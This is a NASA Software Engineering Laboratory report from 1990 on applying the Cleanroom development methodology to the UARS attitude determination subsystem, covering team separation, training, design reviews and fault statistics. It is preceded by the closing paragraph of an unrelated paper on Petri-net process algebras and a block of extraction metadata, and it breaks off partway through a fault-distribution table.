$\text{AFP}_2$ formula then we will also take into account "contradictory" process behaviour, distinguishing the greatest of "non-contradictory" prefixes as possible process behaviours. The algebras $\text{AFP}_1$ and $\text{AFP}_2$ proposed for specifying concurrent nondeterministic processes can be used as calculi for the subclasses of finite Petri nets. The basic operations of these algebras are "$\parallel$" (concurrency), ";" (precedence), "$\vee$" (alternative) over the set of atomic events. The semantics of these operations could be defined in completely different ways. If we consider these operations as operations for building structured Petri nets [8], then the so-called descriptive algebra $\text{AFP}_0$ [3] emerges. Thus, the structures of finite Petri nets can be specified using the descriptive algebra $\text{AFP}_0$. However, if we consider the same formula (specifying the structure of Petri net) as a formula supplied by semantics of the algebra $\text{AFP}_1$ or $\text{AFP}_2$ then the same formula specifies the behaviour of the net. Thus, we can use the same formula both for describing structures of Petri nets and for specifying and verifying their behaviour. So, the "structural", descriptive algebra $\text{AFP}_0$ can be provided with the analytical abilities of $\text{AFP}_1$ ($\text{AFP}_2$), and the analytical algebra $\text{AFP}_1$ ($\text{AFP}_2$) can be supplied with descriptive abilities of $\text{AFP}_0$ to specify the process structure as well as its behaviour. References
{"Source-Url": "https://core.ac.uk/download/pdf/82772155.pdf", "len_cl100k_base": 15774, "olmocr-version": "0.1.48", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 49862, "total-output-tokens": 18338, "length": "2e13", "weborganizer": {"__label__adult": 0.0003952980041503906, "__label__art_design": 0.0007882118225097656, "__label__crime_law": 0.0004301071166992187, "__label__education_jobs": 0.0027980804443359375, "__label__entertainment": 0.00014138221740722656, "__label__fashion_beauty": 0.0002181529998779297, "__label__finance_business": 0.0004930496215820312, "__label__food_dining": 0.0005893707275390625, "__label__games": 0.0010271072387695312, "__label__hardware": 0.0016260147094726562, "__label__health": 0.000957012176513672, "__label__history": 0.0005850791931152344, "__label__home_hobbies": 0.0002849102020263672, "__label__industrial": 0.0010576248168945312, "__label__literature": 0.00106048583984375, "__label__politics": 0.0004284381866455078, "__label__religion": 0.0008172988891601562, "__label__science_tech": 0.378662109375, "__label__social_life": 0.0001959800720214844, "__label__software": 0.00997161865234375, "__label__software_dev": 0.595703125, "__label__sports_fitness": 0.0003643035888671875, "__label__transportation": 0.0013332366943359375, "__label__travel": 0.000255584716796875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 57973, 0.01879]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 57973, 0.90442]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 57973, 0.84494]], "google_gemma-3-12b-it_contains_pii": [[0, 2313, false], [2313, 5775, null], [5775, 8781, null], [8781, 12102, null], [12102, 14171, null], [14171, 17726, null], [17726, 21432, null], [21432, 24715, null], [24715, 27691, null], [27691, 30291, null], [30291, 32971, null], [32971, 35231, null], [35231, 38160, null], [38160, 41133, null], [41133, 44526, null], [44526, 47361, null], [47361, 50224, null], [50224, 53318, null], [53318, 56964, null], [56964, 57973, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2313, true], [2313, 5775, null], [5775, 8781, null], [8781, 12102, null], [12102, 14171, null], [14171, 17726, null], [17726, 21432, null], [21432, 24715, null], [24715, 27691, null], [27691, 30291, null], [30291, 32971, null], [32971, 35231, null], [35231, 38160, null], [38160, 41133, null], [41133, 44526, null], [44526, 47361, null], [47361, 50224, null], [50224, 53318, null], [53318, 56964, null], [56964, 57973, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 57973, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 57973, null]], "pdf_page_numbers": [[0, 2313, 1], [2313, 5775, 2], [5775, 8781, 3], [8781, 12102, 4], [12102, 14171, 5], [14171, 17726, 6], [17726, 21432, 7], [21432, 24715, 8], [24715, 27691, 9], [27691, 30291, 10], [30291, 32971, 11], [32971, 35231, 12], [35231, 38160, 13], [38160, 41133, 14], [41133, 44526, 15], [44526, 47361, 16], [47361, 50224, 17], [50224, 53318, 18], [53318, 56964, 19], [56964, 57973, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 57973, 0.0]]}
olmocr_science_pdfs
2024-11-25
2024-11-25
7763da71c4cd362fa9e4a8b69b17f6d0fd572830
A CLASSROOM CASE STUDY IN THE SOFTWARE ENGINEERING LABORATORY: CONCISE DESCRIPTION AND EARLY ANALYSIS MARCH 1990 THE CLEANROOM CASE STUDY IN THE SOFTWARE ENGINEERING LABORATORY: PROJECT DESCRIPTION AND EARLY ANALYSIS MARCH 1990 FOREWORD The Software Engineering Laboratory (SEL) is an organization sponsored by the National Aeronautics and Space Administration/Goddard Space Flight Center (NASA/GSFC) and created for the purpose of investigating the effectiveness of software engineering technologies when applied to the development of applications software. The SEL was created in 1977 and has three primary organizational members: NASA/GSFC, Systems Development Branch The University of Maryland, Computer Sciences Department Computer Sciences Corporation, Systems Development Operation The goals of the SEL are (1) to understand the software development process in the GSFC environment; (2) to measure the effect of various methodologies, tools, and models on this process; and (3) to identify and then to apply successful development practices. The activities, findings, and recommendations of the SEL are recorded in the Software Engineering Laboratory Series, a continuing series of reports that includes this document. The primary authors of this document are Scott Green (NASA/GSFC) Ara Kouchakdjian (University of Maryland) Victor Basili (University of Maryland) David Weidow (NASA/GSFC) Additionally, the following persons contributed significantly: Richard Burley (NASA/GSFC) James Jeletic (NASA/GSFC) Jon Valett (NASA/GSFC) Single copies of this document can be obtained by writing to Systems Development Branch Code 552 Goddard Space Flight Center Greenbelt, Maryland 20771 ACKNOWLEDGMENTS The authors would like to thank Frank McGarry of NASA/GSFC for his assistance in making the Cleanroom case study possible. We would also like to thank Michael Dyer and F. Terry Baker of IBM Systems Integration Division (IBM-SID) for their time and advice, before and during the project. This case study analyzes the application of the Cleanroom software development methodology to the development of production software at the National Aeronautics and Space Administration/Goddard Space Flight Center (NASA/GSFC). The Cleanroom methodology emphasizes human discipline in program verification to produce reliable software products that are "right the first time." Preliminary analysis of the Cleanroom case study shows that the method can be applied successfully in the FDD environment and may increase staff productivity and product quality. Compared to typical Software Engineering Laboratory (SEL) activities, there is evidence of lower failure rates, a more complete and consistent set of inline code documentation, a different distribution of phase effort activity, and a different growth profile in terms of lines of code developed. E.1 INTRODUCTION The Software Engineering Laboratory (SEL) at the National Aeronautics and Space Administration/Goddard Space Flight Center (NASA/GSFC) investigates the effectiveness of software engineering technologies when applied to the development of applications software within GSFC's Flight Dynamics Division (FDD). One such technology currently being examined by the SEL is the Cleanroom software development methodology. There are several significant differences between the SEL Cleanroom model and the standard SEL development methodology, including the following items: - Cleanroom testers and developers are on completely separate teams. - Cleanroom developers have no access to the mainframe computer for compilation and testing purposes. - Cleanroom developers rely on code reading instead of unit testing to verify correctness of the software prior to system testing. - Cleanroom testers use a statistical testing approach. E.2 OBJECTIVES AND SCOPE This case study analyzes the application of the Cleanroom methodology on part of a large ground support system used in mission support of attitude determination requirements. The system selected for the study was the Coarse/Fine Attitude Determination Subsystem (CFADS) of the Upper Atmosphere Research Satellite (UARS). The completed system contained approximately 34,000 source lines of primarily FORTRAN code. The major goals of the study were to - Assess the process used in the SEL Cleanroom model with respect to team structure, team activities, and effort distribution - Analyze the products of the SEL Cleanroom model and determine the impact on measures of interest, including reliability, productivity, overall life-cycle costs, and software quality - Analyze the residual products in the application of the SEL Cleanroom model, such as fault distribution, error characteristics, system growth, and computer usage E.3 PRELIMINARY ANALYSIS The following statements summarize this report's findings concerning preliminary analysis of the Cleanroom methodology and its application in the FDD: - The project members were able to successfully apply a tailored version of the Cleanroom methodology. • The Cleanroom methodology enhances a “team” development approach and minimizes individual programming styles. • Preliminary analysis of key measures indicates an increase in productivity and reliability and a decrease in rework effort, as compared with typical SEL projects. • The Cleanroom effort distribution shows a significant increase in design effort and decrease in coding effort. • Informal design reviews held by the development team appeared to be an effective method of early fault detection. • Less than one-third of the faults uncovered in the code-reading process were found by multiple code readers. • The breakdown of effort spent in code writing versus code reading was approximately even, as compared with a typical SEL ratio of 6 to 1 in favor of code writing. • All team members indicated a willingness to reapply the methodology on future projects. E.4 CONCLUSIONS Based on the findings indicated in the preliminary analysis of the project, the following conclusions have been drawn: • The Cleanroom methodology can be applied successfully in the FDD environment, but additional tailoring is required. • The methodology had a favorable impact on all key measures of interest. • Early concerns, such as the team’s experience level, the unstable specifications environment, and the psychological impact of the methodology on team members, appeared to have little or no impact on the application of the methodology. • The separation of teams forced the developers to apply a more thorough effort in design and code verification. • The impact of the testing approach cannot be analyzed fully until the project has completed its formal acceptance testing phase. • Based on the favorable results found here, further studies are called for. # Table of Contents Section 1—Introduction ................................................. 1-1 Section 2—The Cleanroom Methodology: History, Description, and Prior Experiences .................................. 2-1 Section 3—The Cleanroom Case Study .............................. 3-1 3.1 The Software Engineering Laboratory .................... 3-1 3.2 The Project and Its Environment ......................... 3-1 3.3 The Goals ........................................... 3-5 3.4 Early Concerns ...................................... 3-5 3.5 Data Collection ..................................... 3-6 Section 4—A Tailored SEL Cleanroom Model ..................... 4-1 4.1 Training and Preparation ................................ 4-2 Section 5—Application of the Cleanroom Methodology ............ 5-1 5.1 Predesign ............................................. 5-1 5.2 High Level Design .................................... 5-1 5.3 Low Level Design .................................... 5-2 5.4 Coding ............................................... 5-3 5.5 Pretest ............................................... 5-5 5.6 Test .................................................. 5-6 Section 6—Preliminary Analysis ....................................... 6-1 Section 7—Conclusion ................................................. 7-1 Glossary References Standard Bibliography of SEL Literature List of Illustrations Figure 2-1 The Cleanroom Development Process .................. 2-2 3-1 System Schedules for CFADS and AGSS ............... 3-3 3-2 Experience Comparisons Between the SEL Cleanroom Project and Typical SEL Projects ...................... 3-4 6-1 Growth of System in Calendar Time Through System Testing ............................................ 6-2 6-2 Effort Comparison Between the SEL Cleanroom Project and Typical SEL Projects Through System Testing .......... 6-3 List of Tables Table 4-1 Process Comparisons Between the SEL Cleanroom and Standard SEL Development Models .................... 4-2 4-2 Comparison of SEL Cleanroom Team Responsibilities .... 4-3 5-1 Fault Distribution by Quality Control Activity ........ 5-3 SECTION 1—INTRODUCTION This case study analyzes the application of the Cleanroom software development methodology to the development of production software at the National Aeronautics and Space Administration/Goddard Space Flight Center (NASA/GSFC). The case study involves the methodology's application on part of a large ground support system used in mission support of attitude determination requirements. In addition to describing the Cleanroom methodology, this paper analyzes its application in comparison to the existing Software Engineering Laboratory (SEL) methodology used in GSFC's Flight Dynamics Division (FDD) (References 1 and 2). The analysis covers the phases from project planning through system test. Areas of analysis include the tailoring and use of the method, as well as effort, defect, and productivity statistics. The emphasis of this study is on understanding the methodology and its applicability to the SEL environment, rather than on a detailed assessment in relation to other development methodologies. SECTION 2—THE CLEANROOM METHODOLOGY: HISTORY, DESCRIPTION, AND PRIOR EXPERIENCES The Cleanroom software development methodology (References 3, 4, 5, 6, 7, and 8) was conceived in the early 1980s by Dr. Harlan Mills at IBM. The term "Cleanroom" originates in the integrated circuit (IC) production process, where ICs are assembled in dust-free "clean rooms" to prevent the destructive effects of dust. When applying the Cleanroom methodology to the software development process, the primary focus is on defect prevention rather than defect removal. The goal of Cleanroom is to use a structured development process to build a product that is "right the first time," instead of using the test process to reach a desired level of reliability. The essential elements of Cleanroom include an emphasis on human discipline and a stress on the use of a structured development approach. These elements are enforced in a variety of ways. First, there is a complete separation of development and test activities. Second, there is a reliance on "reading" for correctness by the developers. Third, the purpose of testing is for quality assessment rather than for debugging or finding defects. Finally, a top-down development approach, with the use of stubs, is followed to allow for early assessment of product quality. Figure 2-1 illustrates the organization needed to follow the disciplined approach necessary for Cleanroom. These efforts result in a more structured development process, which appears to be the direction of software engineering. In previous uses of Cleanroom (References 5, 6, 8, and 9), the actual development activities were based on the IBM Systems Integration Division (IBM-SID) model for software development, which has its foundation in structured programming (Reference 10). Using top-down design and development, a system was divided into increments, which allowed developers to concentrate on small parts of the system at any one time. The formal design process included the use of state machines to help modularize the system and to support the concept of information hiding. Development progressed through stepwise refinement, and each successive step was verified by stepwise abstraction to ensure correctness. In addition, review/inspection activities occurred at various milestones (Reference 11). The purpose of the verification and review activities was not to find defects but to confirm correctness. Since verification and reviews were perceived as constructive (positive) activities, team development was reinforced. Testers for Cleanroom projects used a statistical testing approach (References 3, 4, 11, and 12). As with the development process, the purpose of the test process was to confirm correctness and project future reliability, rather than to find defects. For this reason, a black-box testing method—specifically, statistical testing—was preferred to a white-box testing approach (Reference 4). Data for test cases were selected according to the operational profile of the system. All inputs to the Figure 2.1. The Cleanroom Development Process system were determined, and a probability distribution of possible values for each input was calculated. Test cases were then statistically generated. Top-down development allowed system test to begin once the first increment was submitted. In addition, since data were statistically generated, it was possible to determine and project the reliability of the system in terms of mean time to failure (MTTF). As previously stated, this case study was not the first to use the Cleanroom methodology. Cleanroom has been used for a few projects at IBM-SID and in a controlled experiment at the University of Maryland. One of the Cleanroom projects developed at IBM was the COBOL Structuring Facility (COBOL/SF) (References 7 and 8). COBOL/SF is a language product consisting of 80,000 executable lines of PL/I. The developers were hired directly out of college; thus, Cleanroom was the first methodology any of the developers used in a corporate environment. During development, the goal was to write simple designs and small procedures, with walkthroughs used as a substitute for verification. The emphasis was on proving the correctness of design, rather than finding errors. All released versions of COBOL/SF were characterized by high quality and productivity. At the University of Maryland, students in two graduate-level software engineering courses participated in a controlled experiment (Reference 9). Student teams were organized so that each team would have comparable experience, and the differences in the classroom instruction were negligible. A programming language unfamiliar to all students was used to prevent a bias toward a team that had more experience in a particular language, and to control unauthorized execution of programs by developers. The teams in one class used the Cleanroom methodology for development, while teams in the second class were given the same development methodology, but also were given the opportunity to test. The submitted code from all teams was tested by the teaching assistant, who executed identical test cases for each team. The Cleanroom teams were able to apply the development methodology more successfully. They passed more test cases, fulfilled requirements more completely, generated less complex code, and had more inline documentation than the non-Cleanroom teams. This experiment indicated that an extra piece of technology (developer testing) did not necessarily lead to added success. At the conclusion of the experiment, most of the Cleanroom developers said that they would feel comfortable using Cleanroom again, although they missed the satisfaction of testing their code. Since the teaching assistant handled all testing responsibilities for the Cleanroom teams, the satisfaction level of Cleanroom test teams was not part of the project assessment. SECTION 3—THE CLEANROOM CASE STUDY 3.1 THE SOFTWARE ENGINEERING LABORATORY The SEL is sponsored by NASA/GSFC to investigate the effectiveness of software engineering technologies when applied to the development of applications software (Reference 13). It was organized in 1977 with the following goals: 1. To understand the software development process in a particular environment 2. To measure the effects of various development techniques, models, and tools on this development process 3. To identify and apply improved methodologies in the GSFC environment The principals of the SEL are the Systems Development Branch of the FDD of NASA/GSFC, the Computer Sciences Department of the University of Maryland, and the Systems Development Operation of Computer Sciences Corporation. Over the past 14 years, the SEL has investigated numerous techniques and methods over dozens of projects in order to understand and improve the software development process in the FDD environment (References 1, 2, 13, 14, 15, 16, and 17). The Cleanroom methodology was selected to be studied in the SEL for a variety of reasons. The SEL was interested in optimizing the software development effort and improving the effectiveness of software testing, thereby reducing the rework effort, which encompasses a significant portion of the FDD development effort (Reference 18). Cleanroom also displayed the potential to increase software quality and reliability without impacting productivity, an area of interest in any software environment. This experiment represented an opportunity to increase the SEL's understanding of Cleanroom in the FDD production environment, rather than an academic environment, by a group other than the originators of the methodology. 3.2 THE PROJECT AND ITS ENVIRONMENT Development was carried out in the standard FDD environment, which is well understood based upon a large number of prior studies. The development process begins upon delivery of the requirements and specifications document. The requirements and specifications are generated by an organization separate from the development organization, and they adhere to a standard format familiar to both groups. The functionally oriented specifications are highly algorithmic and considered to be of good quality. However, due to the continually evolving characteristics of the spacecraft hardware and system architecture, the requirements and specifications require frequent modifications. On typical ground support systems, approximately 300 formal inquiries typically are generated by the development organization, and 150 to 200 formal specification updates are required over the development life cycle. The project selected for the Cleanroom case study at GSFC was the Coarse/Fine Attitude Determination Subsystem (CFADS) of the Attitude Ground Support System (AGSS) for the Upper Atmosphere Research Satellite (UARS). The size of the CFADS system was initially projected to be about 22,000 FORTRAN source lines of code (SLOC), which was approximately 12 percent of the entire AGSS. The development environment was an IBM mainframe running the multiple virtual storage (MVS) operating system, and the remaining subsystems of the AGSS were developed using the standard SEL development methodology. There were numerous “design drivers,” factors related to the project that limited design options. The most significant was the interactive graphics system, which limited the ways some data could be bound to procedures. Development for the AGSS began in November 1987 and system testing was completed in March 1990. The development of CFADS began in January 1988 and system testing was completed in January 1990. System milestones were somewhat different in these projects, as illustrated in Figure 3-1. In addition, the CFADS consisted of six builds, with one build for each subfunction of approximately 5 thousand source lines of code (KSLOC), as opposed to one build for every 60 to 80 KSLOC, as is traditionally done on AGSS development in the FDD environment. As seen in Figure 3-1, the CFADS did not have a separate acceptance test process, but was integrated into the AGSS before acceptance testing began in March 1990. The project was staffed by a total of seven different NASA/GSFC personnel. The project began with four developers, but dropped to three during design when one team member left NASA. The test team was composed of two people, but staffing was briefly increased to three when other work commitments prevented the original testers from allocating the planned level of effort. In addition to testing the system, the test team also served as library managers. All personnel were also working on other projects simultaneously during the CFADS effort. These other responsibilities would often take time and attention from the case study. Additionally, these other projects used methodologies other than Cleanroom, so staff members would often need to use two development methodologies during the same day. Figure 3-2 compares the average level of experience for the Cleanroom team members with that of a typical SEL project team member. Most of the Cleanroom team’s experience was as members of team efforts, with some time also spent managing projects. All of their development experience was with the standard SEL methodology in the FDD. Figure 3-1. System Schedules for CFADS and AGSS Figure 3-2. Experience Comparisons Between the SEL Cleanroom Project and Typical SEL Projects 3.3 THE GOALS The major goals of the SEL experiment were as follows: 1. Assess the process used in the SEL Cleanroom model with respect to team structure, team activities, and effort distribution 2. Analyze the products of the SEL Cleanroom model and determine the impact on measures of interest, including reliability, productivity, overall life-cycle costs, and software quality 3. Analyze the residual products in the application of the SEL Cleanroom model, such as fault distribution, error characteristics, system growth, and computer usage Additionally, other minor goals such as assessing the code-reading activity of the SEL Cleanroom model were defined during the life cycle. 3.4 EARLY CONCERNS Four major concerns were expressed by management and development personnel very early in the project: - The team's inexperience in the project's application area - The impact of unstable requirements and specifications on the methodology - Coordination with the main AGSS, which was developed without Cleanroom - The psychological impact of the methodology on the team members Despite the team's general experience in the FDD environment, this was the first time any of the project members had worked in the CFADS application domain. It was also the first time any member had used a methodology different than the typical SEL methodology. As previously stated, the FDD environment is one in which modifications to the initial specifications are often necessary. This specification instability was of particular interest to the Cleanroom experiment in view of the emphasis on developing software “right the first time.” There was also concern for the potential impact on rework effort and possible consequences on the timely delivery of builds for the test team. Frequently, the delivered specifications are not as detailed as might be desired, since assumptions are made based on past FDD projects, and items are negotiated between analysts and developers during early design. Additionally, coordination between the CFADS and the remaining AGSS needed to be carefully planned, noting possible conflicts caused by using different development methodologies. Formal reviews needed special consideration, as did common libraries used by both groups. Finally, there was concern regarding the psychological impact of the team separation and limitation of each team's activities. The development team and testing team had specific tasks and guidelines to follow, and activities for each were carefully defined. There was concern that the developers would attain only minimal satisfaction from releasing a product that they would not be able to test or see executed. There was a parallel concern that the test team would experience a void by testing a product without having participated in the design and development. 3.5 DATA COLLECTION Project data collection methods fell into four categories: forms, automated data collection, subjective data collection, and postdevelopment tools. The primary source of quantitative data was the set of standard SEL forms used in the FDD environment for all SEL projects (Reference 16). These forms address a wide variety of issues, from project estimation to personnel resources and change descriptions. In addition to the standard forms, a few new forms were designed to gather additional data and fulfill functions unique to this project. Information such as source code growth (system SLOC), source changes (module version updates), and computer usage (central processing unit, or CPU, hours) are automatically provided by several tools running in the host machine. To gather qualitative data, interviews and informal discussions were held. An observer from the University of Maryland familiar with the IBM-SID Cleanroom model was present for 10 to 15 hours a week at GSFC. The observer's task was to resolve questions pertaining to Cleanroom, tailor the methodology for the environment, ensure that the methodology was being used properly, and gather data and give real-time feedback to the developers and testers. At the conclusion of the project, standard tools were run to gather system statistics, including detailed component attributes and source code characteristics such as size and complexity. SECTION 4—A TAILORED SEL CLEANROOM MODEL The Cleanroom methodology had to be tailored to the FDD development environment, which is based on the waterfall model (References 1, 2, and 15). The tailored methodology needed to preserve the salient features of Cleanroom, but also needed to be easily adapted to the FDD environment. Some features of IBM-SID Cleanroom, which the developers and testers were not able to use because of a lack of experience in IBM-SID methods, needed to be reevaluated. Other characteristic SEL activities required modification to simulate IBM-SID Cleanroom features. Over a period of time, a version of Cleanroom was defined that seemed to best fit this environment. This period of time extended into development, as the initial Cleanroom description evolved to account for new problems encountered in the environment. The tailored methodology was referred to as the SEL Cleanroom model. There were several significant differences between the SEL Cleanroom model and the standard SEL development methodology: - Cleanroom testers and developers are on completely separate teams - Cleanroom developers have no access to the mainframe computer for compilation and testing - Cleanroom developers rely on code reading instead of unit testing to verify correctness of the software prior to system testing - Cleanroom testers use a statistical testing approach Table 4-1 highlights differences between the SEL Cleanroom model and the standard SEL development methodology. The SEL Cleanroom model used the standard SEL guidelines (References 1 and 2) for top-down design and development, but had more increments than a similar project using the standard methodology would have had. The project's requirements and specifications analysis process was strongly emphasized. The design process was a combination of SEL and IBM-SID activities, with attempts to use state machines, detailed program design language (PDL), and a generic design. High level designs were reviewed at various milestones. Team design reviews confirmed correctness during low level design, while redundant sequential code reading did the same during the coding phase. Sequential code reading differs from code reading by stepwise abstraction in that lines of code are read in physical order, not by functional hierarchy. The developers used sequential reading because it is commonly used in the FDD environment, and the training schedule did not offer sufficient time for skill development in reading by stepwise refinement. All development was done at desks and on personal computers (PCs), with files transferred from the developers to the testers via floppy disks. The testers... Table 4-1. Process Comparisons Between the SEL Cleanroom and Standard SEL Development Models <table> <thead> <tr> <th></th> <th>Organization</th> <th>Design Quality Control</th> <th>Code Quality Control</th> <th>Testing Strategy</th> </tr> </thead> <tbody> <tr> <td>SEL Cleanroom</td> <td>Separate development and test teams</td> <td>Team design reviews</td> <td>Sequential redundant code reading for verification</td> <td>Statistical testing</td> </tr> <tr> <td>Standard SEL</td> <td>Single development and test team</td> <td>PDL reading</td> <td>Code reading and unit testing</td> <td>Integration and system testing</td> </tr> </tbody> </table> managed the libraries and uploaded code from the PC to the mainframe in order to build and test the system. This process ensured that the developers did not compile or unit-test their code, as they were not given any access to the mainframe. A statistical testing approach was to be used to validate the code, and failures were reported back to the development team. The developers then identified the error source and took the appropriate corrective action. Table 4-2 compares development and test team responsibilities in the SEL Cleanroom model. 4.1 TRAINING AND PREPARATION Before project development began, both teams attended a 1-week tutorial on the Cleanroom methodology. The training was also attended by the project’s supervisors. Lectures were given by Dr. Victor Basili of the University of Maryland, and Mr. Michael Dyer and Mr. F. Terry Baker, both of IBM-SID. Sessions discussed Cleanroom in general, and emphasized the IBM-SID method of software development. The classes consisted of lectures followed by question-and-answer sessions. Later, there were follow-up sessions by Mr. Dyer on statistical testing for the test team, and a presentation by Dr. Basili on verification by stepwise abstraction for the developers. The purpose of the training sessions was twofold. First, it allowed the CFADS team the opportunity to learn as much as possible about the theory behind the methodology and how Cleanroom has been done in the past. Second, it served to reduce some of the misconceptions and apprehension of the team members. The cost of the training, in terms of CFADS team effort, was 4 percent of the total ### Table 4-2. Comparison of SEL Cleanroom Team Responsibilities <table> <thead> <tr> <th>Schedule</th> <th>Project Phase</th> <th>Development Team</th> <th>Test Team</th> </tr> </thead> <tbody> <tr> <td>1/88</td> <td>Training</td> <td>Attend 1-week tutorial</td> <td>Attend 1-week tutorial</td> </tr> <tr> <td></td> <td></td> <td>Attend additional sessions on design and code reading</td> <td>Attend additional sessions on test case generation</td> </tr> <tr> <td>2/88-11/88</td> <td>Design</td> <td>Analyze requirements and specifications, submitting questions as needed</td> <td>None</td> </tr> <tr> <td></td> <td></td> <td>Create high level design using abstract state machines</td> <td>Analyze requirements and specifications, submitting questions as needed</td> </tr> <tr> <td></td> <td></td> <td>Create low level design using PDL</td> <td>Analyze specifications to understand functionality of the system</td> </tr> <tr> <td></td> <td></td> <td>Review designs</td> <td>Determine test items and passage criteria</td> </tr> <tr> <td></td> <td>Pretest</td> <td>None</td> <td>Determine system inputs and distributions</td> </tr> <tr> <td>12/88-12/89</td> <td>Code</td> <td>Write code components</td> <td>None</td> </tr> <tr> <td></td> <td></td> <td>Read code independently</td> <td>Generate test cases</td> </tr> <tr> <td></td> <td></td> <td>Submit code to testers</td> <td>Handle all configuration control activities</td> </tr> <tr> <td></td> <td>Test</td> <td>Respond to failures encountered by testers</td> <td>Compile components</td> </tr> <tr> <td></td> <td></td> <td>Correct and reverify code</td> <td>Link components</td> </tr> <tr> <td></td> <td></td> <td></td> <td>Execute test cases</td> </tr> <tr> <td></td> <td></td> <td></td> <td>Validate results</td> </tr> <tr> <td></td> <td></td> <td></td> <td>Return code to developers for correction</td> </tr> </tbody> </table> hours expended on the project. Overall, the team members were happy with the tutorial, but felt that the addition of a laboratory exercise would have made the activity more effective. At the conclusion of the training sessions, two project members felt skeptical about proceeding with Cleanroom, two were cautiously confident concerning the methodology's application, and two members seemed confident that the methodology could be applied successfully in the FDD environment. SECTION 5—APPLICATION OF THE CLEANROOM METHODOLOGY 5.1 PREDESIGN The predesign phase, accounting for 30 percent of the total design effort, was given greater emphasis than on a typical FDD project. The major activity in predesign was requirements analysis, where the requirements and specifications were studied in order to understand the problem domain, resolve ambiguities, and make corrections. The FDD has a history of reusing requirements and specifications from previous projects, and these documents frequently assume an understanding of the systems developed for previous satellites as a base for describing the present project. Additionally, the documentation is often dynamic, and changes can occur during any phase of development. Since Cleanroom strives to develop software that is “right the first time,” the requirements and specifications had to be more complete, so the requirements analysis activity needed to be more thorough. Team meetings were held to ensure that all development and test team personnel had a common understanding of the documents. Where ambiguities or errors were found, clarifications were requested. The result was an improved set of documentation for the developers and testers to work with. 5.2 HIGH LEVEL DESIGN The remaining 70 percent of the design effort was divided into design creation (49 percent) and design review (21 percent). The high level design process attempted to emulate the high level design activities used at IBM-SID, encapsulating data and functions as state machines. Use of state machine concepts such as information hiding and data abstraction helped the developers in the design process, although there are few explicit signs of these concepts in the design and code of actual modules. One reason for the inability to actually implement state machines may have been the functional specifications, which strongly implied a function-oriented design. In addition, the developers' lack of experience in using state machines as a design representation may explain why they were able to use state machines conceptually but not concretely. Because of problems in the early stage of development, such as the inability to build concrete state machines, some members of the development team again expressed concerns with the methodology. This may have been attributable to the fact that the methodology was still being tailored and was not in a clear, final form. This proved to be frustrating for some of the developers, as they could not see a complete life-cycle model and found it difficult to work on one step of the methodology when the next step potentially could be redefined. Many of the attitudes changed as the process became more complete and familiarity increased. Tangible results also helped increase team confidence in the Cleanroom methodology. Since the process was being tailored as the project progressed, it seemed logical to follow the IBM-SID Cleanroom model. Although the IBM-SID and SEL environments are similar in their use of disciplined life-cycle development activities, the level of formality employed during the activities is different and prevents a blanket use of the IBM-SID model. For example, the IBM-SID model bases its design review activities on the formal Fagan inspections (Reference 11), while the SEL Cleanroom model relied on informal peer review techniques familiar to the environment to verify design correctness. The content and schedule of builds were also defined during this phase. The project leader, a member of the development team, worked together with the test team to determine the number of requisite builds and the functions that would be contained in each. This joint effort allowed the builds to be viewed from two perspectives and attempted to keep both teams sufficiently active during the entire implementation and testing phases. An effort was made to schedule builds so that the development team would complete a current build at approximately the same time as the test team finished with the previous one. 5.3 LOW LEVEL DESIGN Since developers were not permitted to test their code, the developers inferred that the design had to be of high quality. This encouraged them to write more detailed PDL, and to make a strong effort to reduce their individual programming styles, opting for a common design to facilitate the design review process. Because developers used the state machine concept, the system was modularized differently than it normally might have been, although actual state machines were never implemented. The team design review process was simple and successful. A few days before a scheduled review, the designs for a set of related modules were distributed to the other developers. The design for each module consisted of a standardized prolog, calling sequence information, and the PDL. The appropriate baseline diagrams also were distributed, along with any related COMMON blocks and general notes. The designs were studied individually by the other developers, which encompassed 15 percent of the design effort, and faults were noted. During the design reviews, which accounted for 6 percent of the design effort, faults were discussed and corrections suggested. A set of modules would remain in the design review process until the development team determined that there was no need to review the design again. All designs required at least two reviews. As a result, the assessment of a representative sample of the CFADS design showed an average of 18.4 faults/KSLOC found during the design reviews. This is a lower bound, as the designer corrected other faults before and after reviews. Since the SEL does not normally track design faults, it is impossible to evaluate this parameter in relation to the existing SEL methodology. The distribution of the faults by types along with raw count and percentage of faults found in each activity appears in column A of Table 5-1. Qualitatively, the developers were confident in the completeness and accuracy of the final designs, and felt they knew and understood the entire system better than they normally would have on other projects. Table 5-1. Fault Distribution by Quality Control Activity <table> <thead> <tr> <th>Fault Type</th> <th>Activity</th> <th>A</th> <th>B</th> <th>C</th> <th>D</th> <th>Totals</th> </tr> </thead> <tbody> <tr> <td></td> <td>Design Reviews</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>FORTRAN Syntax</td> <td>0.0%</td> <td></td> <td>4.0%</td> <td>100.0%</td> <td>0.0%</td> <td>7.0%</td> </tr> <tr> <td>Control Flow</td> <td>20.0%</td> <td></td> <td>8.0%</td> <td>0.0%</td> <td>12.0%</td> <td>12.0%</td> </tr> <tr> <td>Interface</td> <td>24.0%</td> <td></td> <td>17.0%</td> <td>0.0%</td> <td>34.0%</td> <td>20.0%</td> </tr> <tr> <td>Data Initialization</td> 